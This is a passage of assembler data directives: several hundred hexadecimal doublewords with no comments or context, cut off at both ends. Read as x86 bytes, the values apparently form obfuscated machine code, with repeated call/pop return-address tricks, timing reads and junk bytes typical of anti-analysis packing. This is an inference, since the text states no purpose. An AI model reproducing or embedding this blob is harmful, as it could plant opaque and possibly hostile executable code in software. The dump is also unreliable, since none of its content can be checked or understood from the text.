0B3C35646h, 9D2B309Fh, 61B1855h, 0B88689h dd 0BF660000h, 6A6A24h, 6767E781h, 0B5FF74FCh, 61EAD99h dd 95FFB4B3h, 61B142Dh, 8BF48A60h, 1B237195h, 0F966106h dd 1289h, 0F525000h, 8Ch, 50310F00h, 5A310F52h, 50585A58h dd 26C0BB66h, 0CB816696h, 0B5FF8BB8h, 61EAD99h, 1870Fh dd 0FFF80000h, 1B1B9195h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 1BD7802Eh dd 0C81BD83h, 0F00061Bh, 2C84h, 8E85600h, 0C9000000h, 8F9FD838h dd 296AF582h, 1B24F595h, 8B5F5B06h, 1B0B35BDh, 0DA8B5006h dd 66243489h, 0BB53FE8Bh, 677E6ADAh, 99B5FF5Fh, 6A061EADh dd 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 42C5C352h dd 0B8F0C11Ch, 0FCB37E9Bh, 0BD595FFh, 0BD8B061Bh, 61B32D1h dd 0AD99B5FFh, 95FF061Eh, 61B1A09h, 18F59D8Bh, 0BD83061Bh dd 61B07A5h, 6C840F02h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 6DAEC350h dd 8D9D8BFAh, 66061B1Ah, 8B81C1BFh, 1B303185h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0C6F88BB6h, 11E80000h, 1D000000h, 0FB3214E1h, 0DC215EADh dd 6C1BCCA0h, 0CA87DC2Eh, 7DDB589h, 0C75F061Bh, 1B2BD585h dd 6, 0FE8B6600h, 0FFF443E9h, 8BFB8BFFh, 198C0FC1h, 0E9000000h dd 14h, 24A71294h, 0C2E97E91h, 9DAA44A6h, 0DECE9DB0h, 0CD064FD2h dd 32ED858Dh, 0BF50061Bh, 2F4C7783h, 29240489h, 1B0CD585h dd 6A006A06h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 52E6C352h, 8B6674F9h, 60006AFBh dd 129DB589h, 9D01061Bh, 61B2F8Dh, 5858D61h, 6A061FCAh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 5B24C350h, 800F3EADh, 17h, 0BE8h, 0F4819000h dd 221AD20Bh, 66577F7h, 72D9D03h, 835B061Bh, 6A05C0h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 555CAEC3h, 0E01506E7h, 60609037h, 61605857h, 13E861h dd 51660000h, 84BF0C27h, 7D37CE54h, 3C41430Fh, 0BEF7BC2h dd 5BF660Fh, 50615AF7h, 8B665250h, 60310FF8h, 870Fh, 8B660000h dd 585A61FAh, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 66E745DDh, 6E9D88Bh, 0FF000000h dd 1B547F0Bh, 8B666014h, 8C52BAC3h, 6A614A8Ch, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 5FF852DBh, 95FF006Ah, 61B1A01h, 0EA99D8Bh, 8D8D061Bh dd 61E92B7h, 7CD78166h, 89D1FF42h, 1B0C6DB5h, 0D5BD8306h dd 1061B1Ch, 50850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0BBD87AC3h, 3112F4ECh dd 6800Fh, 0BD8B0000h, 61B2F0Dh, 0BD8B026Ah, 61B28CDh dd 0ECF6BF50h, 4896934h, 39BD0324h, 0FF061B08h, 1B142D95h dd 0E8806006h, 26E961E1h, 0E800000Dh, 0 dd 0FED815Dh, 66061FCAh, 6AF88Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 0D9F26CC3h, 41D02500h dd 8BE45293h, 3D858DFBh, 6A061E85h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 8B59C351h dd 8B908B16h, 8B6650DFh, 0BDB390DFh, 91DBD0Bh, 0FF64061Bh dd 35h, 0C5EF8000h, 293D8531h, 8964061Bh, 25h, 81665300h dd 5B9AC7F3h, 2B0D85FFh, 0B589061Bh, 61B122Dh, 6AFF6Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 6F762AC3h, 1D45B5FFh, 6A061Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 70F458C3h, 80595FFh dd 3BE9061Bh, 0E9000001h, 0Bh, 0D05D324Eh, 0F7712A29h dd 0B01A72FCh, 4591BB00h, 70E62AEEh, 2A81BD8Bh, 71E4061Bh dd 9AEF8166h, 0F613CBBh, 10D83h, 51B53100h, 0F061B1Bh dd 0BAF5C8B6h, 6, 5880Fh, 81660000h, 8B92C4CBh, 1B30E9BDh dd 0FC18B06h, 683h, 0E9BD2B00h, 0C1061B18h, 9D8B04E8h dd 61B3281h, 0F9E2F766h, 0CE8h, 97581900h, 0A4D897B0h dd 73C5BFD3h, 0BE965h, 0F6A00000h, 3E1106ABh, 3E936DF1h dd 0C82B5F03h, 31099D89h, 0D18B061Bh, 0CE18589h, 9BE9061Bh dd 3000000h, 1B1421BDh, 4858B06h, 0BB000000h, 15715470h dd 0F07C083h, 0C083FFBFh, 8E800h, 77E30000h, 0D1576EE1h dd 8B6628F0h, 0D03B5BFBh, 29830Fh, 9D8B0000h, 61B128Dh dd 0AE9h, 493E1900h, 64E5D2CCh, 0E94910B7h, 4Eh, 0FFBBF0Fh dd 681h, 0E99D8900h, 8B061B25h, 0FFFFFF8Dh, 6810FFFh, 8B000000h dd 1B22BDBDh, 1E18306h, 24840Fh, 85010000h, 61B0395h, 0FFFFA583h dd 8BFEFFFFh, 1B023DBDh, 4958906h, 1000000h, 1B03CD8Dh dd 0E906h, 0B58D0000h, 61F4DBFh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 0DCC35040h, 6AF98EF9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 254467CAh, 41BB62ECh, 0FF5191B9h, 1B220595h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0D82E70A9h, 5E9h, 0D13A3F00h, 83B91EDDh, 6A000010h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 8B4DC353h, 1B0909BDh, 0FCE18306h, 13BD9D8Bh dd 0F53061Bh, 682h, 418D0900h, 5F061B07h, 8830FFCh, 51000000h dd 1AD9501h, 2B5F061Bh, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 8D9B3D5Ah, 0BA31h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 61E51C3h, 0F955CEEh, 8B61D6EBh, 1B14599Dh, 0C233AD06h dd 0D003E8D1h, 7504E983h, 53006AF4h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0BD897E9Fh dd 61B18CDh, 2D459D31h, 880D061Bh, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 24A2C350h, 0DA7DB862h, 0B3F86F09h, 29958B29h, 0E8061B24h dd 0Fh, 39BC6D50h, 0B92185E4h, 0C1532D40h, 52F07BFDh, 13B5BD8Bh dd 5B5F061Bh, 7658D8Bh, 6A061Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 2C32F7C3h, 15E3498Fh dd 89C00DDBh, 1B3275BDh, 0DFBF6606h, 0C28B5003h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 5658188Bh, 5BDBB70Fh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 9BC35545h, 58ACF4A4h dd 0CD0A29F0h, 32C9BD8Bh, 0BD83061Bh, 61B1769h, 6A840F00h dd 0B8000000h, 0 dd 0B56FBF66h, 4CD38D8Dh, 0E950061Bh, 0Eh, 9E226BC1h, 0CD4D867h dd 0ABE2E03Ah, 0FF5F8EF2h, 52006AE1h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0BCC56EFFh dd 10E86051h, 6C000000h, 5FE8925Eh, 0BCCB066h, 805DE26Ah dd 896EB1C8h, 1B0795B5h, 8A0F5B06h, 0 dd 0D1BD8361h, 61B13h, 368840Fh, 2B600000h, 1B0D95BDh dd 0BD950106h, 61061B1Ch, 13D1BD83h, 0F01061Bh, 36884h dd 119D3100h, 83061B2Bh, 1B13D1BDh, 860F0306h, 31Fh, 0C880Fh dd 840F0000h, 6, 17F59589h, 6A60061Bh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0EA88C350h dd 0C087C210h, 8BCDF93Dh, 1B1C999Dh, 0D98C6606h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 36C35545h, 0FA0882Ah dd 0E180DEBFh, 89958904h, 0F9061B1Ah, 840FC90Ah, 107h dd 8BF9B70Fh, 1B014585h, 0CD9D3306h, 33061B22h, 1B2A3185h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 81213D38h, 5E9F81Bh, 0B3000000h, 46E21DFFh dd 0FB8B6690h, 13E950h, 0C9BD0000h, 9BD78A12h, 4C7475FFh dd 0FCB1867Dh, 7D5A5EE4h, 6A9034h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 504CF9C3h, 0A67CECDFh dd 0FCB325AEh, 1ED9D31h, 6A061Bh, 7E68FB8Bh, 8B2537A9h dd 243481DFh, 2528AA81h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 8C35343h, 323595FFh, 12E9061Bh, 2F000000h dd 91D126D7h, 2E75D901h, 0F9EEAD8Bh, 0A1CC26D8h, 9985894Ch dd 6A061EADh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 8C01C350h, 899D8B63h, 0E9061B1Dh dd 15Dh, 8BD8B70Fh, 1EAD9185h, 158D8906h, 0C7061B0Eh, 1800h dd 0FB8B6600h, 0AD95B58Bh, 6A061Eh, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 858BF4C3h dd 61B1229h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 48C35646h, 0F0FE2825h, 0BFAF7E5Fh, 0BB068901h dd 2F5A23C9h, 145858Bh, 0EE8061Bh, 67000000h, 9E3E140Dh dd 650E182Bh, 620F16E7h, 0DE960C1h, 0E8000000h, 0C04AC2E5h dd 0E582AA6h, 4D7100A5h, 745B589h, 5B61061Bh, 6A044689h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 6F03C350h, 96FA8B12h, 90E0BF66h, 0B8A0F50h dd 0F000000h, 589h, 0F204BB00h, 66960DD0h, 0FF7D35BBh dd 1EAD91B5h, 6809B306h, 27B18662h, 0AE85250h, 6B000000h dd 9FD24E76h, 42F86019h, 5B5F5611h, 0D6BB310Fh, 5A39E1A6h dd 24348158h, 27AE859Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 75C35141h, 0B1197E41h, 675004EDh, 8B665260h dd 8D615FCBh, 1EAD9985h, 50509006h, 0C1BF6652h, 5A310FD1h dd 8B669058h, 3595FFFAh, 81061B32h, 0A0775BF3h, 0BD896159h dd 61B17F5h, 13D185C7h, 3061Bh, 850F0000h, 4, 2E4ABF66h dd 0AD99BD83h, 0F00061Eh, 2284h, 49BD8B00h, 66061B1Ah dd 0A2C0CF81h, 2DE9h, 75BD8B00h, 0F061B1Bh, 680h, 0B7F78100h dd 5050AF94h, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 11E9C08Bh, 7B000000h, 0FE0BA0F1h, 614F6371h dd 0DF3999C4h, 32187F1Fh, 0BD83DF8Bh, 61B13D1h, 6B850F03h dd 0E9000004h, 0Ah, 45BE3C3Dh, 0CD93AA9Ah, 0BD8308B2h dd 61EAD99h, 4F840F00h, 0E8000004h, 12h, 5956D004h, 0EFF0E32h dd 757FF2A2h, 0DF0B9FF4h, 0FC8A8A31h, 99B5FF5Bh, 0B3061EADh dd 1195FF05h, 80061B01h, 0B58BBAD3h, 61EAD8Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0B0C35747h, 682C6585h dd 0DDDF8096h, 106C7h, 0BD0B0001h, 61B0C0Dh, 0BF525096h dd 0AE60E68h, 0DEB7310Fh, 5050585Ah, 0FE8B6652h, 0BB51310Fh dd 0CF9FA36h, 96585A5Fh, 0BAC78166h, 99B5FF8Eh, 6A061EADh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 661EC353h, 0FFBABABBh, 1B1BC995h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 11E9770Bh, 9000000h, 4791549h, 0B13DC8ACh, 0B45B6D49h dd 7DBC91F2h, 0AD8DB58Bh, 6A061Eh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0BD8B13C3h, 61B13FDh dd 13418D01h, 858B061Bh, 61B0D25h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 24C35040h, 0C6A106BBh, 0A0270575h dd 0ED950121h, 33061B2Eh, 1B29ED9Dh, 0C4868906h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 0CA28C350h, 0AE1985CCh, 0E3810696h, 4DD4DC59h dd 2F319D29h, 958B061Bh, 61B2429h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 0D6C35545h, 18C0Fh, 0B3F90000h dd 4C2835Ah, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 34C35141h, 0D719589h, 0F380061Bh, 0F9BF0F49h, 89205089h dd 1B1CD99Dh, 0CE906h, 6D250000h, 0ED84467Fh, 5DA15F59h dd 858DE15Dh, 61EC0C7h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0C2C35040h, 39F3A3E6h, 89DF77A1h, 1B0B0985h dd 0B8868906h, 0E9000000h, 0Bh, 9ECE5DD8h, 0BF75A0BBh dd 6AD285B7h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 99B5FF65h, 6A061EADh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 452FC353h dd 237F3031h, 3285D7E4h, 142D95FFh, 5750061Bh, 2810Fh dd 0DE8B0000h, 2434895Fh, 721BD89h, 0B5FF061Bh, 61EAD99h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 7C35545h dd 7AF155FEh, 24D59D8Bh, 0B589061Bh, 61B2D51h, 1B9195FFh dd 9D8B061Bh, 61B0E21h, 13E9h, 32DB0400h, 5F5C5888h, 6A5B5B4Ah dd 3F11C92h, 701F8A6Ah, 0C81BD83h, 0F00061Bh, 4284h, 5650F500h dd 2434895Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 0E3C35747h, 151D1870h, 14E9E3F5h, 0DE000000h, 6D770F51h dd 7D7AE2C9h, 882BAE14h, 0D343015Bh, 0FFE0DE2Ch, 1EAD99B5h dd 0FE8B6606h, 0BD595FFh, 6A061Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0BD00FC3h, 0B68E4D4Eh dd 6E8h, 0CB929300h, 81DD5ABEh, 3E8D7EC3h, 0B5FF5F2Bh dd 61EAD99h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 0DDC35646h, 0A268488Ah, 231EE4BCh, 0FFF98A75h dd 1B1A0995h, 0A294BB06h, 0BD833E0Dh, 61B07A5h, 5E840F02h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0F5D5C352h, 2B359D8Bh, 858B061Bh dd 61B3031h, 19958960h, 0E8061B2Ah, 13h, 9F6D4523h, 0BABDA9CAh dd 1F202785h, 0C295F1B6h, 0E9FBE19Ah, 6 dd 8E4920E1h, 615E917Ah, 0B0000C6h, 1B2B899Dh, 0D585C706h dd 61B2Bh, 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 1684C352h, 4F7EFFBEh, 0A9E956D2h dd 31FFFFF3h, 1B2D3D9Dh, 6AC18B06h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 53B7C351h dd 0AA5F7CD3h, 7E824E26h, 0D45157BFh, 8BB8B77Fh, 1B12D9BDh dd 0ED858D06h, 6A061B32h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 7454C355h, 8996CC4Dh dd 1B11F5B5h, 14E99006h, 0C8000000h, 0FC4103F6h, 0D916F994h dd 4BEECFACh, 202C3D05h, 503C01AAh, 6A90D98Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 0FDBFC351h, 8E96099h, 0F5000000h, 0E9C431B1h, 6A5D9E98h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 0CA6770D8h, 89F86E81h, 1B08C195h, 9E96006h dd 1000000h, 62C0A646h, 78D424BCh, 6A006A61h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 0DF97C353h, 0E5CE52EDh, 31AD9589h, 858D061Bh, 61FD956h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 30C35040h dd 0B4249CB6h, 0DA0A84B5h, 0F9BD31h, 12E8061Bh, 0BC000000h dd 337D53C9h, 7D73DD24h, 6DF23813h, 4F951C56h, 79953103h dd 5F061B07h, 6A05C083h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 8929C352h, 1B0F418Dh dd 0BB665006h, 4896517h, 7E824h, 0FDB80000h, 0ED6B9AECh dd 14E826h, 0C6BE0000h, 610904C4h, 0FFBA0FFEh, 0AFA24D1Ah dd 0DB0685F3h, 880FFBC4h, 0 dd 6A5F5Bh, 0EE8h, 0B37BB600h, 0A406C4B8h, 33624131h, 817D7823h dd 0BAEECAEBh, 6A5B46h, 0F3D9D8Bh, 95FF061Bh, 61B1A01h dd 11BD8B51h, 5F061B09h, 92B78D8Dh, 0DD8A061Eh, 0BD8BD1FFh dd 61B07E1h, 1CD5BD83h, 0F01061Bh, 5685h, 9D016000h, 61B0D4Dh dd 20E1BD03h, 6A61061Bh, 57006A02h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 23ADFE0Fh, 8D41C2D2h dd 26B790EFh, 0B7525050h, 66310F0Eh, 5A4602BBh, 9D899058h dd 61B2475h, 142D95FFh, 0FCBB061Bh, 0E9543042h, 0DBFh dd 0E8h, 0ED815D00h, 61FD960h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 0CDC35242h, 5ACC3149h, 59251B33h dd 93A2B960h, 8B66290Dh, 6A61D1h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 8B968FC3h, 0D9BD89FAh dd 8D061B0Ah, 1E853D85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 96771284h, 0C549D92Dh dd 13319D2Bh, 9D01061Bh, 61B0B41h, 14E990h, 0EAFC0000h dd 3B21F7FCh, 0B17B1C3Ch, 0C6ECC95Fh, 84722EEAh, 5050E059h dd 0A92395BBh, 2B905B1Bh, 1B2E59BDh, 35FF6406h, 0 dd 258964h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 944BC351h, 290A6DBEh dd 85FF03B7h, 61B2B0Dh, 8D42C781h, 0FF6A1CA4h, 2C2D9D8Bh dd 0B5FF061Bh, 61B1BD1h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0F8C35646h, 0FFF98B66h, 1B080595h, 151E906h dd 0C7810000h, 1C70E91Eh, 20BB00B0h, 601603B2h, 28E5BD09h dd 12E9061Bh, 6E000000h, 56956D8Bh, 4B1BC914h, 0BA893D10h dd 6D6A3C29h, 70E6613Eh, 71E4FE8Ah, 38A0Fh, 0F7800000h dd 0F613CABh, 10E83h, 7E900h, 0E1700000h, 44F57C71h, 0C8B60F33h dd 0BE9h, 14697A00h, 0EA22BF7Ah, 4C9D8E62h, 0D8816660h dd 8B6633C6h, 6BA61D0h, 29000000h, 1B010195h, 0E9C18B06h dd 10h, 76D22F72h, 37DB27h, 0E1CB9BD3h, 8F94FA7Ah, 8904E8C1h dd 1B31B9BDh, 0E2F76606h, 0C82BD8B3h, 0FD18BF5h, 0A8E9DABFh dd 0E8000000h, 7, 0F3C8B28Dh, 0E9D1B24Ch, 0Bh, 21AB2B7h dd 5A8E6984h, 5B1E7A8Dh, 41CBC381h, 858B02C3h, 5F4C4C44h dd 0F98589h, 880F061Bh, 2, 0C083DF8Bh, 0BE907h, 4B940000h dd 0EB779D1Bh, 6119CE9Eh, 0C083EEh, 8F58D89h, 0D03B061Bh dd 0E830Fh, 8A530000h, 44E95FDEh, 66000000h, 7EA1CF81h dd 0FFFF8D8Bh, 9D8BFFFFh, 61B2F1Dh, 0F01E183h, 2A84h, 0EDBD8B00h dd 83061B03h, 0FFFFFFA5h, 8E0FFEFFh, 6, 1ADB531h, 9589061Bh dd 5F4C4C44h, 18FD9D8Bh, 0E9061Bh, 8D000000h, 1F5E42B5h dd 0CE906h, 193A0000h, 822CD7B5h, 1707BDA4h, 6A8C98h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 1EC35040h, 8B8BC9A4h dd 595FFFEh, 6A061B22h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 7079C357h, 0B99AE780h dd 0F1Ah, 68A0Fh, 8D310000h, 61B02B5h, 6AFCE183h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 213BC350h, 0D05F0217h, 0FC84BD3Bh, 0D380FDB7h, 0B84Bh dd 1FB30000h, 8A0FD22Bh, 6, 7958D89h, 33AD061Bh, 3E8D1C2h dd 4E983D0h, 6AF475h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 79240FC3h, 1DA1BD8Bh, 6A061Bh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 90D789C3h, 14E93D18h, 5E000000h, 35E4A903h, 0D2E9AEE2h dd 20781020h, 0C1E9746h, 0E9AADAC4h, 0Ah, 32BD71D0h, 3552EAh dd 0CE85761h, 0A000000h, 0FE67542Bh, 0CD0D16B5h, 2954E0FCh dd 1B11B18Dh, 880D5F06h, 60000000h, 0B63388BEh, 0BF66614Dh dd 958BDD41h, 61B2429h, 0C8D0Fh, 9600000h, 1B00DD85h, 0A4BB6606h dd 8D8B61D6h, 61B0765h, 0AE8h, 68701300h, 2B2AAB7Ah, 0E9AA7334h dd 0Bh, 28EC2B22h, 8770B8FFh, 5B8D329Eh, 8B50F98Ah, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0E3C35343h, 8B6614B8h, 0D38166DFh dd 0DE8BE3A4h, 1769BD83h, 0F00061Bh, 8A84h, 858D2900h dd 0B8061B19h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0E6C35646h dd 3261755Ah, 61BD89E6h, 0E8061B12h, 8, 0CBB35CCCh, 86BD9D59h dd 5BDF8B66h, 4CD38D8Dh, 6A061Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 60A391C3h, 7E9h, 0E3C36A00h dd 0FA393AD7h, 6061C38Bh, 2199529h, 8B66061Bh, 0E1FF61D9h dd 18B0Fh, 83F90000h, 1B13D1BDh, 840F0006h, 412h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 73C35646h, 0BD83C69Eh dd 61B13D1h, 2840F01h, 0BB000004h, 5479DA9h, 13D1BD83h dd 0F03061Bh, 3BA86h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 529C8447h, 6DDC5C67h dd 1FBB70Fh, 1B1061B5h, 0CE86006h, 1F000000h, 86D9E017h dd 0F1F1DAD5h, 669313DEh, 5BE442BFh, 9D98C66h, 1B020D8Dh dd 4E18006h, 6C9ABB66h, 840FC90Ah, 1B7h, 13E8h, 9D09B800h dd 69F018EDh, 67B1B3A2h, 0ADFF8335h, 0BD2829Ah, 1EF19D8Bh dd 535B061Bh, 86D78166h, 858B5F38h, 61B0145h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0E5C35545h, 19DC027h dd 1B16C98Dh, 31853306h, 6A061B2Ah, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8077C357h dd 858905F3h, 61B08CDh, 60525050h, 66310F61h, 5A1117BFh dd 24048958h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0DC35141h, 52941F4Eh, 8B3C9F8Fh, 1B0B8D9Dh, 7E806h dd 0FC160000h, 0EEEA863h, 816660E3h, 0F8671C0h, 85h, 6A5B6100h dd 4E800h, 3FF0000h, 5250001Fh, 0EC56D0BFh, 0BB310F16h dd 234720ACh, 8A50585Ah, 24448BD9h, 94BB6604h, 0F008BA4h dd 8Dh, 24448900h, 0D88B6604h, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 8BE8E9B4h dd 1B13BDBDh, 3595FF06h, 6A061B32h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0C3D0C353h dd 0BC8DBC41h, 1D219D8Bh, 8589061Bh, 61EAD99h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 1BC35545h, 8CB136FCh dd 0CF80A533h, 0DDBD8B4Bh, 0E9061B08h, 176h, 25880Fh, 0E8600000h dd 10h, 0E0BF48C7h, 13F5C531h, 0AB7A6870h, 73342B2Ah, 8E958h dd 83FA0000h, 480491Ah, 8B613845h, 1EAD9185h, 0C7F88B06h dd 1800h, 8BFA8B00h, 1EAD95B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0F99D335Ah dd 8B061B25h, 1B122985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 810689F2h, 0FABB3AE3h dd 45858B6Fh, 6A061B01h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 0F8BFC350h, 9044689h dd 1B2D2D8Dh, 0BB665006h, 34896BC1h, 52006A24h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 2673F002h dd 71B529E5h, 0FF061B10h, 1EAD91B5h, 8D895106h, 61B2D4Dh dd 9343685Bh, 8B6018A1h, 0A9FBBAD7h, 8161060Ch, 90BC2434h dd 6A18BEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 7CCD8DC3h, 8BCF1AB1h, 1B01319Dh, 2D8D8906h dd 8D061B0Fh, 1EAD9985h, 0FA8B6606h, 12E850h, 9FA20000h dd 48032F29h, 3DBFBB6Bh, 0A2ABB2AEh, 32F3066Dh, 895F97B7h dd 9D2B2404h, 61B1871h, 323595FFh, 820F061Bh, 6, 8C0Fh dd 0C7610000h, 1B13D185h, 306h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0A315FA9h dd 0FE82CE5h, 0C83h, 6890F00h, 89000000h, 1B12F985h, 99BD8306h dd 61EADh, 11840Fh, 0BD330000h, 61B2DC5h, 21E9h, 0B5BD8900h dd 50061B08h, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 97738FC3h, 5B395D25h, 2BBF2A60h dd 0BB19D20Fh, 1BB1CA98h, 2AB5BD0Bh, 6A061Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 7BAD86C3h dd 0DB78A1C0h, 0D1BD8386h, 3061B13h, 400850Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 0DC04A9C3h, 433ED375h, 0E9CEB526h, 0Fh, 9B593D2h, 0A035F250h dd 3BC1E96Fh, 83317B9Ch, 1EAD99BDh, 840F0006h, 3BAh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 2EC35141h, 